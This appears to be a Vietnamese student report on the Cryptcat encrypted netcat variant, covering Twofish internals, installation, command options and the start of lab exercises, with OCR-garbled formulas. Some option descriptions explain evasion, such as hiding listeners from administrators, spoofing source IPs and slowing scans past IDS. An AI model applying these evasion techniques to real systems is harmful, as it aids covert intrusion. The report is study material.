Tải bản đầy đủ (.pdf) (30 trang)

Bài tập lớn môn an toàn mạng (45)

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (2.5 MB, 30 trang )

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THƠNG TIN

Học phần: An tồn mạng
Bài báo cáo:

Tìm hiểu về công cụ Cryptcat

Giảng viên hướng dẫn:
Sinh viên thực hiện:
Họ và tên:
Mã sinh viên:

TS. Đặng Minh Tuấn
Nhóm 2
Nguyễn Minh Hồng
B18DCAT100

Hà Nội ,tháng 12 năm 2021


Mục lục
Danh Mục Hình Vẽ .........................................................................................................3
Lời Mở Đầu .....................................................................................................................4
Chương I: Giới thiệu về Crytcat ......................................................................................5
I. Cryptcat là gì? ..........................................................................................................5
II. Chức năng của Cryptcat: .........................................................................................5
III. Khái quát về mã hoá Twofish: ...............................................................................6
Chương 2: Cách cài đặt và hướng dẫn sử dụng Cryptcat: ............................................13
I. Cách cài đặt Cryptcat: .............................................................................................13
1.1 Cách cài đặt Crypcat trên Kali Linux: ..............................................................13


1.3 Xác nhận việc cài đặt: .......................................................................................14
II. Hướng dẫn sử dụng: ..............................................................................................15
1. Cryptcat Command Option: ................................................................................15
Chương 3: Các bài lab, kịch bản ...................................................................................18
I. Trò chuyện: .............................................................................................................18
II. Chế độ dài dòng (Verbose mode): .........................................................................19
III. Bảo vệ bằng mật khẩu: .........................................................................................20
IV. Cổng ngẫu nhiên: .................................................................................................21
V. Thời gian chờ và thời gian trễ: ..............................................................................22
VI . Reverse shell: ......................................................................................................23
Chương 5: So sánh Cryptcat và Netcat .........................................................................25
I. Netcat: .....................................................................................................................25
II. Cryptcat: ................................................................................................................27
Kết Luận ........................................................................................................................29
Danh Mục Tài Liệu Tham Khảo ...................................................................................30


Danh Mục Hình Vẽ
Hình 1 Sơ đồ thuật tốn Twofish.....................................................................................7
Hình 2 Sơ đồ miêu tả sinh S-Box Twofish .....................................................................9
Hình 3 Q trình sinh khóa con Twofish ......................................................................11
Hình 4 Cài đặt Cryptcat trên Windows .........................................................................14
Hình 5 Chạy Cryptcat trên Windows ............................................................................14
Hình 6 Chạy Cryptcat trên Kali Linux ..........................................................................15
Hình 7 Khởi tạo trong chết độ chat ...............................................................................18
Hình 8 Người nghe trong chết độ chat .........................................................................19
Hình 9 Người nghe trong chế độ Verbose .....................................................................19
Hình 10 Khởi tạo trong chế độ Verbose ........................................................................20
Hình 11 Người nghe trong chế độ mật khẩu .................................................................20
Hình 12 Khởi tạo trong chế độ mật khẩu ......................................................................21

Hình 13 Người nghe trong chết độ cổng ngẫu nhiên ....................................................21
Hình 14 Người nghe trong chế độ thời gian trễ.............................................................22
Hình 15 Khởi tạo trong chế độ thời gian trễ..................................................................23
Hình 16 Khởi tạo reverse shell ......................................................................................23
Hình 17 Thơng tin thu về qua reverse shell ...................................................................24
Hình 18 Wireshark bắt gói tin reverse shell .................................................................24
Hình 19 Khởi tạo chế độ chat Netcat ............................................................................25
Hình 20 Bên nghe chế độ chat netcat ............................................................................26
Hình 21 Wireshark bắt gói tin chat Netcat ....................................................................26
Hình 22 Wireshark bắt gói tin chế độ chat Cryptcat .....................................................28


Lời Mở Đầu
Cùng với sự bùng nổ của thông tin và sự ra đời của rất nhiều phần mêm nổi
tiếng, những trang web chuyên nghiệp thì sự bảo mật dữ liệu là thật sự cần thiết.
Một trang web nếu muốn phát triển bền vững thì cần phải có một cơ cấu bảo
mật thật vững chắc, an toàn dữ liệu là khơng thể thiếu. Vì thế trong suốt q trình
nghiên cứu và tìm tịi, em đã tự chọn cho mình một đề tài mà em nghĩ đó là thiết yếu
cho những ai đang muốn tìm hiểu về an tồn thơng tin, một đề tài ko quá xa lạ với
những ai theo ngành công nghệ thông tin, và rất cần được quan tâm.
Trong suốt đề tài này, em sẽ trình bày về nội dung chủ yếu đó là cài đặt và sử
dụng công cụ Cryptcat Tool, một cách chi tiết và gọn gẽ. Cryptcat có thể được sử dụng
như một giải pháp đặc biệt để truyền file qua mạng cục bộ hoặc Internet. Nó cũng hữu
ích cho việc truyền dữ liệu đến hoặc từ các máy ảo hoặc container, khi chúng không
bao gồm tính năng này. Người dùng thậm chí có thể sử dụng nó như một cơ chế sao
chép-dán giữa hai thiết bị.


Chương I: Giới thiệu về Crytcat
I. Cryptcat là gì?

Cryptcat là một phiên bản nhẹ của netcat với khả năng mã hóa truyền tải tích
hợp. Nó thực hiện mọi thứ mà netcat làm được bổ sung thêm mã hóa Twofish để bảo
mật hơn. Theo trang web của dự án, "Cryptcat là một tiện ích Unix đơn giản đọc và
ghi dữ liệu qua các kết nối mạng, sử dụng giao thức TCP hoặc UDP trong khi mã hóa
dữ liệu được truyền. Nó được thiết kế để trở thành một công cụ" back-end "đáng tin
cậy có thể được sử dụng trực tiếp hoặc dễ dàng bởi các chương trình và tập lệnh khác.
Đồng thời, đây là một công cụ gỡ lỗi và khám phá mạng giàu tính năng, vì nó có thể
tạo hầu hết mọi loại kết nối bạn cần và có một số khả năng tích hợp thú vị ". Cryptcat
cũng có thể được sử dụng để gửi tệp hoặc bản sao tệp đến các vị trí khác nhau trong
cùng một mạng. Cryptcat được tạo ra bởi farm9 và được cấp phép với Giấy phép Công
cộng GNU phiên bản 2.0 (GPLv2).

II. Chức năng của Cryptcat:
CryptCat có thể hoạt động như một máy khách hoặc máy chủ TCP / UDP khi
được kết nối hoặc khi nó hoạt động như một bộ lắng nghe cho ổ cắm. Nó có thể lấy
mật khẩu và thêm salt để mã hóa dữ liệu đang được gửi qua các kết nối. Nếu không
cung cấp một mật khẩu được chỉ định, nó sẽ lấy mật khẩu mặc định.. Chúng ta có thể
khám phá hoạt động và cách sử dụng của nó bằng cách khám phá các tùy chọn có sẵn
của nó.
Cryptcat chính xác như giới thiệu của nó: Netcat + mã hóa. Bạn có thể mã hóa
datapipe, proxy hoặc relay đó. Tin tặc có thể ẩn lưu lượng truy cập Netcat của họ để
quản trị viên tọc mạch sẽ phải làm nhiều việc hơn là chỉ nghe lén mạng để tìm hiểu
xem chúng ta đang định làm gì. Trang chủ tại />Cryptcat sử dụng phiên bản nâng cao của mã hóa Twofish. Dịng lệnh đối số
giống nhau. Rõ ràng là Cryptcat khơng q hữu ích cho việc qt cổng và giao tiếp với
các dịch vụ khác không sử dụng cùng một mã hóa với Cryptcat. Nhưng nếu việc sử
dụng Netcat của bạn bao gồm một phiên bản của Netcat đang chạy ở đâu đó ở chế độ
lắng nghe và một phiên bản riêng biệt của Netcat được sử dụng để kết nối với nó,
Cryptcat mang lại cho bạn lợi ích bổ sung của việc đảm bảo kết nối đó.
Ở trên chính là những chức năng chính của Cryptcat, những chức năng đó mang
tính nổi bật nhất của Cryptcat, nhưng Cryptcat cịn có thể làm được nhiều hơn nữa.

Nhà phát triển đã liệt kê tất cả chức năng của Cryptcat như sau:
Tính năng cơ bản:

* Kết nối đi hoặc đến, TCP hoặc UDP, đến hoặc từ bất kỳ cổng nào


* Kiểm tra toàn bộ chuyển tiếp / đảo ngược DNS, với các cảnh báo thích hợp
* Khả năng sử dụng bất kỳ cổng nguồn cục bộ nào
* Khả năng sử dụng bất kỳ địa chỉ nguồn mạng nào được cấu hình cục bộ
* Tích hợp khả năng qt cổng, với bộ ngẫu nhiên
* Có thể đọc các đối số dòng lệnh từ đầu vào tiêu chuẩn
* Chế độ gửi chậm, một dòng cứ sau N giây
* Kết xuất hex của dữ liệu đã truyền và đã nhận
* Khả năng cho phép một dịch vụ chương trình khác được thiết lập
kết nối
* Trình phản hồi tùy chọn Telnet
Mới cho phiên bản Windows
* Khả năng chạy trong nền mà không cần cửa sổ bảng điều khiển
* Khả năng khởi động lại như một máy chủ đơn luồng để xử lý một
sự liên quan
III. Khái quát về mã hoá Twofish:
Crypcat sử dụng mã hố khối Twofish để có thể mã hố thơng điệp, tăng tính
bảo mật cho thơng điệp. Vì thế chúng ta sẽ đi tìm hiểu qua một chút về thuật toán mã
hoá Twofish.
Đặc điểm chung: là thuật toán được thiết kế dựa trên thuật toán Blowfish (được thiết
kế dựa trên cấu trúc cơ sở là mạng Feistel). Twofish là thuật tốn nhanh và khơng u
cầu nhiều bộ nhớ khi thực hiện.. Twofish bao gồm 16 vịng, tính năng đặc biệt của nó
là sử dụng các hộp S được tính tốn trước phụ thuộc vào khóa, và sử dụng khóa theo
thời gian biểu tương đối phức tạp. Trong thiết kế, thuật toán sử dụng 1 số thành phần
của các thiết kế khác – ví dụ biến đổi PHT (Pseudo-Hadamard Transform) của họ mã

SAFER. Trên hầu hết các nền phần mềm Twofish chậm hơn một chút so với Rijndael
(với 128 bít khóa), nhưng có phần nhanh hơn đối với 256 bít khóa. Các tác giả của
thuật toán đã đề cập đến việc tấn cơng thuật tốn trên 6 vịng và tấn cơng liên quan đến
khóa lên tới 10 vịng. Trên thực tế (đến năm 2005) khơng có kiểu tấn cơng nào lên
thuật tốn hiệu quả hơn kiểu tấn cơng “tìm khóa theo phương pháp vét cạn – brute
force key search”.


Miêu tả thuật tốn: Sơ đồ thuật tốn như hình vẻ 1. Ở đây, văn bản ban đầu đưa vào
là bốn từ 32 bit A, B, C, D. Trước khi tham gia vào 16 vòng bốn từ này XOR với bốn
từ khóa K0..3. Kế đến thực hiện tiếp 16 chu kỳ. Trong mỗi chu kỳ, hai từ A, B là dữ
liệu vào của hàm g (đầu tiên từ B được quay trái 8 bit). Hàm g bao gồm bốn S–box
(mỗi S–box là một byte) phụ thuộc khóa, theo sau là bước trộn tuyến tính dựa trên ma
trận MDS. Kết hợp kết quả trả ra của hai hàm g thông qua biến đổi tựa Hadamard
(PHT) rồi cộng thêm vào hai từ khóa (K2r+8 cho A và K2r+9 cho B ở chu kỳ r). Sau
đó hai kết quả này XOR với hai từ C và D (trước khi xor từ D với B, từ D được quay
trái 1 bit và sau khi XOR từ C với A, từ C được quay phải 1 bit). Kế đến hai từ A và C,
B và D hoán đổi cho nhau để thực hiện chu kỳ kế tiếp. Sau khi thực hiện xong 16 chu
kỳ, hoán chuyển trở lại hai từ A và C, B và D, cuối cùng thực hiện phép XOR bốn từ
A, B, C, D với bốn từ khóa K4...7 cho ra bốn từ A’, B’, C’, D’ đã được mã hóa.

Hình 1 Sơ đồ thuật toán Twofish
Hàm F: Ở đây hàm F là phép hốn vị phụ thuộc khóa trên gía trị 64 bít. Hàm F nhận
vào ba tham số, đó là hai từ dữ liệu vào R0 và R1, và số thứ tự r của chu kỳ dùng để
chọn khóa con thích hợp. R0 được đưa qua hàm g để tạo ra T0. R1 được quay sang trái
8 bít, sau đó được đưa qua hàm g để tạo ra T1. Tiếp theo là T0 và T1 được được kết


hợp sử dụng PHT và cộng thêm hai từ trong bảng khóa mở rộng, hàm F có thể biểu
diễn bằng chuỗi lệnh sau:

T0=g(R0)
T1=g(ROL(R1,8))
F0=(T0+T1+K2r+8)mod 232
F1=(T0+2T1+K2r+9)mod 232
(F0,F1) là kết quả của hàm F
Hàm g: Hàm g là trung tâm của thuật toán Twofish. Từ dữ liệu đâu vào X được chia
thành 4 byte. Mỗi byte thực hiện thông qua S–box phụ thuộc khóa của chính mình.
Mỗi S–box đưa 8 bit dữ liệu vào và đưa ra 8 bit kết quả. 4 byte kết quả được xem như
một véc tơ có chiều dài bằng 4 trên GF(28) và véc tơ này nhân với ma trận MDS 4 × 4
(sử dụng trường GF(28) cho việc tính tốn). Véc tơ kết quả Z được xem như một từ 32
bit và nó cũng là kết quả của hàm g.

Si là các S-box phụ thuộc vào khóa, ma trận MDS được cho ở dạng Hexa như sau:

S-box phụ thuộc vào khóa: Mỗi S–box được định nghĩa với 2, 3 hoặc 4 byte của dữ
liệu đầu vào của khóa phụ thuộc vào kích thước khóa. Điều này thực hiện như sau cho
các khóa 128 bit, được miêu tả ở hình 2.
S0(x)=q1[q0[q0[x] S0,0] S1,0]
S1(x)=q0[q0[q1[x] S0,1] S1,1]
S2(x)=q1[q1[q0[x] S0,2] S1,2]


S3(x)=q0[q1[q1[x] S0,3] S1,3]

Hình 2 Sơ đồ miêu tả sinh S-Box Twofish
Phép hoán vị q0 và q1: ở đây q0 và q1 là các phép hoán vị cố định trên các gía trị 8
bít. Nó được xây dựng từ 4 phép hốn vị 4 bít khác nhau. Nếu gọi x là giá trị đầu vào
thì y là giá trị đầu ra của hoán vị được xác định như sau:
a0,b0=[x/16], x mod 16
a1=a0 b0

b1=a0 (b0>>>1) 8a0 mod 16
a2,b2=t0[a1], t1[a1]
a3=a2 b2
b3=a2 (b2>>>1) 8a2 mod 16
a4,b4=t2[a3], t3[b3]
y=16b4+a4
ở đây t0,t1,t2,t3 là các S-box, được xác định khác nhau đối với q0 và q1. Trường hợp
q0 thì t0,t1,t2,t3 được cho như sau:
t0=[817D6F320B59ECA4]
t1=[ECB81235F4A6709D]
t2=[BA5E6D90C8F32471]
t3=[D7F4126E9B3085CA]
Trường hợp q1 thì t0,t1,t2,t3 được cho như sau:
t0=[28BDF76E31940AC5]
t1=[1E2B4C376DA5F908]
t2=[4C75169A0ED82B3F]


t3=[B951C3DE647F208A]
Các giá trị Si,j: Cách xác định giá trị của Si,j qua các bước sau:
Đầu tiên ta định nghĩa k=N/64, với N là chiều dài khóa mật 128 hay 192 hay 256.
Khóa M bao gồm 8k byte m0,…,m8k-1, các byte này biến đổi thành 2k từ 32 bít. Ta
xác định Mi như sau:
3

M i   m( 4i  j )  28 j , i  0,...,2k  1
j 0

Từ Mi ta xác định 2 véc tơ có chiều dài k như sau:
Me=(M0,M2,…,M2k-2)

Mo=(M1,M3,…,M2k-1)
Một vector gồm k từ 32 bit thứ 3 cũng được suy ra từ khóa bằng cách lấy ra từng
nhóm gồm 8 byte trong khóa, xem nhóm các byte này là một vector trên GF(28) và
nhân vector này với ma trận 4×8 RS. Sau đó mỗi kết quả 4 byte được xem như một từ
32 bit. Những từ này kết hợp lại tạo thành vector thứ ba. Được xác định như sau:
 m8i 
m

 8 i 1 
 Si , 0 
 m8i  2 




 S i ,1   RS    m8i  3 
S 
m

 i,2 
 8i  4 

 m8i  5 
 Si ,3 

m

 8i  6 

 m8i  7 



 01
 A4
Ở đây RS được cho như sau: RS  
 02

 A4

A4
56

C1 47

55

5 A 58

Si   Si , j  28 j , i  0,..., k  1
j 0

S=(Sk-1,Sk-2,…,S0)

87

DB 9 E 
68 E 5
AE 3D 19 

DB 9 E 03 


87 5 A 58
F 3 1E C 6

A1 FC

Các giá trị của véc tơ thứ 3 được tính như sau:
3

55
82


Hàm mở rộng khóa: Thuật tốn Twofish sử dụng 40 khóa con 32 bít, các khóa con
này hình thành từ khóa mật bằng hàm mở rộng khóa. Hàm này được xây dựng trên cơ
sở thủ tục h, thủ tục này được biểu diễn như hình vẽ 3.

Hình 3 Quá trình sinh khóa con Twofish
Như ta thấy đối số đầu vào của h là X có độ lớn là 32 bít và một danh sách
L=(L0,…,Lk-1) mỗi phần tử cũng là 32 bít, và đầu ra là một số có độ lớn là 32 bít.
Hàm h thực hiện qua k giai đoạn. Trong mỗi giai đoạn 4 byte, mỗi byte thực hiện thay
thế qua S-box cố định và XOR với một phần tử của danh sach L. Qua k giai đoạn, các
byte thu được lại thực hiện tiếp phép thay thế S-box nữa và cuối cùng là nhân với ma
trân MDS như trong hàm g. Cụ thể là ta chia các từ thành cá byte:










li , j  Li / 28 j mod 28

x j  X / 28 j mod 28 , i=0,…,k-1; j=0,1,2,3.
Sau đó lần lượt xác định thay thế và phép toán XOR.

yk , j  x j , j  0,...,3
Nếu k=4 thì:

Nếu k  3 chúng ta có:


Trong các trường hợp cịn lại thì chúng ta có:
y0=q1[q0[q0[y2,0] l1,0] l0,0]
y1=q0[q0[q1[y2,1] l1,1] l0,1]
y2=q1[q1[q0[y2,2] l1,2] l0,2]
y3=q0[q1[q1[y2,3] l1,3] l0,3]
Sau khi tìm hiểu xong hàm h, ứng dụng hàm này để mở rộng khóa bằng dãy các
phép tính sau:
  2 24  216  28  20
Ai  h(2i , M e )
Bi  8  (h((2i  1)  , M o )
K 2i  ( Ai  Bi ) mod 232

K2i 1  9  (( Ai  2Bi ) mod 232 )

Hằng số sử dụng để nhân đôi các byte, i= 0, ..., 255, iρ gồm 4 byte bằng nhau,
mỗi byte ứng với giá trị i. Áp dụng hàm h lên các từ theo dạng này. Đối với Ai các giá

trị byte là 2i và đối số thứ hai của h là Me. Tương tự Bi được tính toán, sử dụng 2i + 1
như giá trị byte và Mo như đối số thứ hai với một phép quay thêm trên 8 bit. Các giá
trị Ai và Bi tổ hợp thành một PHT (Pseudo–Hadamard Transform). Một trong hai kết
quả này quay 9 bit nữa. Hai kết quả này tạo thành hai từ khóa mở rộng.Qua đây chúng
ta đã hiểu được thuật toán twofish mà cryptcat sẽ sử dụng để mã hố và giải mã thơng
điệp được trao đổi giữa 2 bên.


Chương 2: Cách cài đặt và hướng dẫn sử dụng Cryptcat:
I. Cách cài đặt Cryptcat:
1.1 Cách cài đặt Crypcat trên Kali Linux:
Có ba cách để cài đặt cryptcat trên Kali Linux. Chúng ta có thể sử dụng apt-get,
apt và aptitude. Trong các phần sau, chúng tôi sẽ mô tả từng phương pháp. Bạn có thể
chọn một trong số chúng.
Cài đặt cryptcat sử dụng apt-get:
Đầu tiên, chúng ta phải nâng cấp apt database với apt-get sử dụng lệnh dưới đây:
sudo apt-get update
Sau khi nâng cấp apt database, chúng ta có thể cài đặt cryptcat sử dụng apt-get bằng
cách gõ lệnh:
sudo apt-get –y install cryptcat
Cài đặt cryptcat sử dụng apt:
Đầu tiên, chúng ta nâng cấp apt database với apt-get sử dụng lệnh dưới đây:
sudo apt-get update
Sau khi nâng cấp apt database, chúng ta có thể cài đặt cryptcat sử dụng apt-get bằng
cách gõ lệnh:
sudo apt –y install cryptcat
Cài đặt cryptcat sử dụng aptitude:
Nếu bạn muốn sử dụng phương pháp này, bạn có thể cần phải cài đặt aptitude trước, vì
aptitude thường khơng được cài đặt mặc định trên kali linux. Bạn cần phải cập nhật
aptitude bằng lệnh dưới đây:

sudo aptitude update
Sau đó, chúng ta có thể cài đặt cryptcat bằng aptitude bằng lệnh dưới đây:
sudo aptitude -y install cryptcat
1.2 Cách cài đặt Cryptcat trên Windows:
Cài đặt Cryptcat trên Windows không thể nào dễ hơn. Đơn giản chỉ cần tải về
các tệp tin zip từ trang web: . Giải nén đến vị trí của sự lựa chọn của bạn, và bạn hồn tất.


Hình 4 Cài đặt Cryptcat trên Windows
1.3 Xác nhận việc cài đặt:
Bất kể bạn chọn việc cài đặt phiên bản Windows hay Linux của Cryptcat, để
xác nhận rằng Cryptcat được cài đặt một cách chính xác, gõ cryptcat –h hoặc man
cryptcat để hiển thị màn hình giúp đỡ. Nhận thấy có một vài sự khác biệt trong các
tuỳ chọn (nhìn hình 6 và 7 ở dưới). Trong phiên bản Windows, -L đại diện cho chế độ
nghe liên tục (sẽ được mơ tả sau), trong khi nó đại diện cho một chế độ đường hầm
trong phiên bản Linux. Ngoài ra, phiên bản Linux bao gồm –V (chú ý chữ hoa), hiển
thị thông tin phiên bản. Cuối cùng, phiên bản Linux bao gồm –x (Hexdump vào và ra),
mà không được bao gồm trong phiên bản Windows, nhưng được gợi ý trong –o option.

Hình 5 Chạy Cryptcat trên Windows


Hình 6 Chạy Cryptcat trên Kali Linux
II. Hướng dẫn sử dụng:
1. Cryptcat Command Option:
Dòng lệnh cơ bản Cryptcat cho bên người khởi xướng là cryptcat [tùy chọn]
[tên host] [cổng], trong đó máy chủ là tên máy chủ hoặc địa chỉ IP của mục tiêu và các
cổng là một cổng duy nhất hoặc một dải cổng (được chỉ định “m-n”) hoặc các cổng
riêng lẻ được phân tách bằng dấu cách.
Còn bên người nghe, dòng lệnh cần biết là cryptcat –l –p cổng [tuỳ chọn] [tên

host] [cổng] , trong đó các chú thích giống phía trên.
Bây giờ bạn gần như đã sẵn sàng để xem một số điều tuyệt vời mà bạn có thể
làm với Cryptcat. Tuy nhiên, trước tiên, hãy xem xét chuyên sâu từng tùy chọn dòng
lệnh để hiểu cơ bản về các khả năng:
°
-d Chỉ khả dụng trên Windows, tùy chọn này đặt Netcat ở chế độ ẩn, cho phép
nó tách ra và chạy riêng biệt với command prompt đang điểu khiển MS-DOS. Nó cho
phép Cryptcat chạy ở chế độ lắng nghe mà bạn không cần phải mở cửa sổ lệnh. Nó
cũng giúp hacker che giấu tốt hơn một ví dụ của một Cryptcat đang lắng nghe từ các
quản trị viên hệ thống.
°
-g <route-list> Sử dụng tùy chọn này có thể hơi phức tạp. Netcat hỗ trợ định
tuyến nguồn lỏng lẻo. Bạn có thể chỉ định tối đa tám tùy chọn –g trên dòng lệnh để
buộc lưu lượng truy cập Cryptcat của bạn đi qua các địa chỉ IP nhất định, điều này rất
hữu ích để giả mạo địa chỉ IP nguồn của lưu lượng truy cập của bạn (trong nỗ lực vượt
qua bộ lọc tường lửa hoặc danh sách máy chủ lưu trữ được cho phép). Bằng cách định


tuyến nguồn thơng qua một máy mà bạn có quyền kiểm sốt, bạn có thể buộc các gói
quay trở lại địa chỉ máy chủ của bạn thay vì hướng đến đích thực. Lưu ý rằng điều này
thường khơng hiệu quả vì hầu hết các bộ định tuyến đều bỏ qua các tùy chọn định
tuyến nguồn và hầu hết các bộ lọc cổng và tường lửa sẽ ghi lại các nỗ lực của bạn.
°
-G <hop-pointer> Tùy chọn này cho phép bạn thay đổi địa chỉ IP trong danh
sách tuyến –g của bạn hiện là bước tiếp theo. Bởi vì địa chỉ IP có kích thước 4 byte,
đối số này sẽ ln xuất hiện trong bội số của bốn, trong đó 4 đề cập đến địa chỉ IP đầu
tiên trong danh sách tuyến đường, 8 đề cập đến địa chỉ thứ hai, v.v. Điều này rất hữu
ích để giả mạo các phần của danh sách định tuyến nguồn để làm cho nó trơng như thể
nó đến từ nơi khác. Bằng cách đặt địa chỉ IP giả vào hai khe danh sách –g đầu tiên và
chỉ định con trỏ 12, gói tin sẽ được chuyển thẳng đến địa chỉ IP thứ ba trong danh sách

định tuyến. Tuy nhiên, nội dung gói thực tế vẫn sẽ chứa các địa chỉ IP giả, khiến nó có
vẻ như thể gói đến từ một vị trí trong khi thực tế là từ một nơi khác. Điều này có thể
giúp che giấu nguồn gốc của lưu lượng truy cập, nhưng bất kỳ phản hồi nào cũng sẽ cố
gắng đảo ngược tuyến đường qua các địa chỉ IP giả mạo của bạn.
°
-i <giây> Khoảng thời gian trễ, là khoảng thời gian Cryptcat chờ giữa các lần
gửi dữ liệu. Ví dụ: khi truyền một tệp đến Cryptcat, Cryptcat sẽ đợi vài giây trước khi
truyền dòng tiếp theo của đầu vào. Khi bạn đang sử dụng Cryptcat để hoạt động trên
nhiều cổng trên máy chủ lưu trữ, Cryptcat sẽ đợi vài giây trước khi kết nối với cổng
tiếp theo trong dòng. Điều này có thể cho phép người dùng thực hiện truyền dữ liệu
hoặc một cuộc tấn công vào một dịch vụ trơng ít theo kịch bản hơn và nó có thể giữ
cho việc quét cổng dưới tầm kiểm soát của một số hệ thống phát hiện xâm nhập (IDS)
và quản trị viên hệ thống.
°
-l Tùy chọn này bật / tắt chế độ “nghe” của Cryptcat. Tùy chọn này phải được
sử dụng cùng với tùy chọn –p để yêu cầu Cryptcat liên kết với bất kỳ cổng TCP nào
bạn chỉ định và đợi các kết nối đến. Thêm tùy chọn –u để sử dụng các cổng UDP thay
thế.
°
-L Tùy chọn này, chỉ có trên phiên bản Windows, là tùy chọn “nghe” mạnh hơn
-l. Nó yêu cầu Cryptcat khởi động lại chế độ lắng nghe của nó với các tùy chọn dịng
lệnh tương tự sau khi kết nối bị đóng. Điều này cho phép Cryptcat chấp nhận các kết
nối trong tương lai mà không cần sự can thiệp của người dùng, ngay cả sau khi kết nối
ban đầu của bạn hoàn tất. Giống như –l, nó yêu cầu tùy chọn –p.
°
-n Tùy chọn này yêu cầu Cryptcat không thực hiện bất kỳ tra cứu tên máy chủ
nào. Nếu bạn sử dụng tùy chọn này trên dịng lệnh, hãy đảm bảo khơng chỉ định bất kỳ
tên máy chủ nào làm đối số.
°
-o <hexfile> Tùy chọn này thực hiện kết xuất hex trên dữ liệu và lưu trữ nó

trong hexfile. Lệnh nc –o hexfile ghi lại dữ liệu đi theo cả hai hướng và bắt đầu mỗi
dòng bằng dấu ‘<’ hoặc ‘>’ để biểu thị dữ liệu đến và đi tương ứng. Để có được một


kết xuất hex chỉ gồm dữ liệu đến, bạn sẽ sử dụng nc –o < hexfile. Để có được kết xuất
hex chỉ gồm dữ liệu gửi đi, bạn sẽ sử dụng nc –o > hexfile.
°
-p Sử dụng tùy chọn này để chỉ định số cổng cục bộ mà Cryptcat nên sử
dụng. Đối số này là bắt buộc khi sử dụng tùy chọn –l hoặc –L. Nếu nó khơng được chỉ
định cho các kết nối đi, Cryptcat sẽ sử dụng bất kỳ cổng nào được hệ thống cấp cho
nó, giống như hầu hết các máy khách TCP hoặc UDP khác. Hãy nhớ rằng trên hộp
Unix, chỉ người dùng root mới có thể chỉ định số cổng dưới 1024.
°
-r Cryptcat chọn các cổng cục bộ và từ xa ngẫu nhiên. Điều này hữu ích nếu
bạn đang sử dụng Cryptcat để lấy thông tin về một loạt các cổng trên hệ thống và bạn
muốn kết hợp thứ tự của cả cổng nguồn và cổng đích để làm cho nó trơng ít giống như
quét cổng. Khi tùy chọn này được sử dụng cùng với tùy chọn –i và một khoảng thời
gian đủ lớn, q trình qt cổng thậm chí có cơ hội khơng được chú ý nhiều hơn trừ
khi quản trị viên hệ thống xem xét kỹ lưỡng các bản ghi.
°
-s Chỉ định địa chỉ IP nguồn mà Cryptcat nên sử dụng khi thực hiện các kết nối.
Tùy chọn này cho phép tin tặc thực hiện một số thủ thuật khá lén lút. Đầu tiên, nó cho
phép họ ẩn địa chỉ IP của mình hoặc giả mạo người khác, nhưng để nhận được bất kỳ
thông tin nào được chuyển đến địa chỉ giả mạo của họ, họ cần sử dụng tùy chọn định
tuyến nguồn –g. Thứ hai, khi ở chế độ nghe, nhiều khi bạn có thể "ràng buộc trước"
trước một dịch vụ đã nghe. Tất cả các dịch vụ TCP và UDP đều liên kết với một cổng,
nhưng không phải tất cả chúng sẽ liên kết với một địa chỉ IP cụ thể. Nhiều dịch vụ
nghe trên tất cả các giao diện có sẵn theo mặc định. Ví dụ: Syslog lắng nghe trên cổng
UDP 514 cho lưu lượng nhật ký hệ thống. Tuy nhiên, nếu bạn chạy Cryptcat để lắng
nghe trên cổng 514 và cũng sử dụng –s để chỉ định địa chỉ IP nguồn, thì mọi lưu lượng

truy cập đến IP được chỉ định đó sẽ chuyển đến Cryptcat đang nghe trước! Tại sao?
Nếu ổ cắm chỉ định cả cổng và địa chỉ IP, thì nó sẽ được ưu tiên hơn các ổ cắm không
liên kết với một địa chỉ IP cụ thể.
°
-t Chỉ khả dụng trên Windows, nếu được biên dịch với tùy chọn TELNET,
Cryptcat sẽ có thể xử lý thương lượng tùy chọn telnet với máy chủ telnet, phản hồi với
thông tin vô nghĩa, nhưng cho phép bạn nhận được lời nhắc đăng nhập.
°
-u Báo cho Netcat sử dụng UDP thay vì TCP. Hoạt động cho cả chế độ máy
khách và chế độ nghe.
°
-v Kiểm soát mức độ Cryptcat cho bạn biết về những gì nó đang làm. Sử dụng
no –v và N Cryptcat sẽ chỉ lấy ra dữ liệu mà nó nhận được. Một –v duy nhất sẽ cho
bạn biết địa chỉ mà nó đang kết nối hoặc ràng buộc và nếu có bất kỳ sự cố nào xảy ra.
–V thứ hai sẽ cho bạn biết lượng dữ liệu đã được gửi và nhận khi kết thúc kết nối.
°
-w <seconds> Kiểm soát thời gian Cryptcat đợi trước khi từ bỏ kết nối. Nó
cũng cho Cryptcat biết phải đợi bao lâu sau khi nhận được EOF (phần cuối của tệp)
trên đầu vào chuẩn trước khi đóng kết nối và thoát ra. Điều này rất quan trọng nếu bạn


đang gửi một lệnh qua Cryptcat đến một máy chủ từ xa và đổi lại một lượng lớn dữ
liệu (ví dụ: gửi một lệnh HTTP đến một máy chủ web để tải xuống một tệp lớn).
°
-z Tùy chọn này yêu cầu Cryptcat chỉ gửi đủ dữ liệu để khám phá cổng nào
trong phạm vi được chỉ định của bạn thực sự có thứ gì đó đang lắng nghe chúng.
Bây giờ bạn đã có ý tưởng về những thứ mà Cryptcat có thể làm, hãy xem một số ví dụ
thực tế ngồi đời thực bằng cách sử dụng tiện ích này.

Chương 3: Các bài lab, kịch bản

I. Trị chuyện:
CryptCat có thể được sử dụng để trò chuyện giữa hai người dùng. Chúng ta cần
thiết lập một kết nối ổn định trước khi trò chuyện. Để làm điều này, chúng ta cần hai
hệ thống trong số hai hệ thống này, một hệ thống sẽ là người nghe và hệ thống còn lại
sẽ là người khởi xướng. Vì vậy, giao tiếp có thể được thực hiện từ cả hai đầu.
Ở đây, chúng tôi đang cố gắng tạo ra một kịch bản trò chuyện giữa hai người
dùng với các hệ điều hành giống nhau.
Người khởi xướng:
Để khởi tạo trình nghe trong Kali Linux, hãy làm theo lệnh này để tạo trình nghe:

Hình 7 Khởi tạo trong chết độ chat
Người nghe:
Để khởi tạo trình nghe trong Kali Linux, hãy làm theo lệnh này để tạo trình nghe:


Hình 8 Người nghe trong chết độ chat

II. Chế độ dài dịng (Verbose mode):
Trong CryptCat, chế độ dài dịng có thể được bắt đầu bằng cách sử dụng tham
số [-v]. Bây giờ, chế độ dài dòng được tạo để tạo thông tin mở rộng từ các hành động
của chúng ta. Chúng ta sẽ thử cơ chế trò chuyện ở trên với chế độ dài dịng. Chúng ta
có thể thấy rằng khi chúng ta thêm [-v] vào lệnh CryptCat, nó sẽ hiển thị thơng tin về
q trình mà hiệu suất của nó trong khi kết nối.
Ở phía người nghe:
cryptcat -lvp 8880

